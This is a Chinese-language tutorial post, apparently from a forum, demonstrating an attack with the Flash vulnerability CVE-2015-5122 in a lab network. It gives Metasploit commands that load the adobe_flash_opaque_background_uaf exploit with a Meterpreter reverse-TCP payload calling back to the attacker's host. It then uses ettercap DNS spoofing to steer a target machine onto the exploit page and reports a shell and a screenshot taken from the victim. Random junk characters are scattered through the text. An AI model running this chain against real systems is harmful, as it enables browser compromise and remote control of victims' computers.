cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 , ^- _. X+ D j3 u

: R. l4 q0 o$ ]5 z   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： $ o* @( Y# y7 T; w& g" u/ M2 ~

; X& ^: d, J5 D search cve-2015-5122如图：

6 ^, Z& g; i# ?* }* Q  

下面我们敲如下命令： ; h' \$ K Z7 I. s& @4 E# z' O

4 ~% b$ Y) K2 C1 t$ C use exploit/multi/browser/adobe_flash_opaque_background_uaf

7 ]; r2 q9 d! C% J6 _4 k" B set PAYLOAD windows/meterpreter/reverse_tcp

% l) Y2 g1 E5 {8 p3 ? set LHOST 192.168.0.109

set URIPATH /                        /*根目录*/ 8 Q, Z8 ^( ?1 @* P2 K

, Y# H& ^! v) G" J ~

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 3 I2 [1 z8 ^' @

) D+ ~$ @7 {+ L9 C* J set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 5 y6 r# t. i* S0 O

9 q9 v& p! Z3 n5 i" C- l7 T

然后show options如图：

: B1 M( x/ H+ _ y p5 x/ C  

8 q: H- Q( {) O# N4 ?

$ N* Q: o6 o j( {) U 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：

6 }5 h6 m; n4 ]- b, D6 K; [7 k

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

0 }! L( p$ u) L# C. f6 h* `

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf 9 T4 R: V9 m! ^- N+ u

8 j9 g% j8 A ?' g9 g6 E

 

成功了，这时候我们断开ettercap，如图： ( k, s6 e. H. H

3 s: x' x; m- S. M* c4 B( h+ D   # c* A! W, Q# _& r0 ~$ f( @

1 Z; K) s; A* d) h) \: w2 P

Screenshot如图：

* J: m+ ?" ]6 M4 N5 W9 _# P" X+ }5 _   # B5 n" C2 p3 o9 Y# J% m1 n; W

" m* n; w0 S5 [/ | i" U$ a- e9 R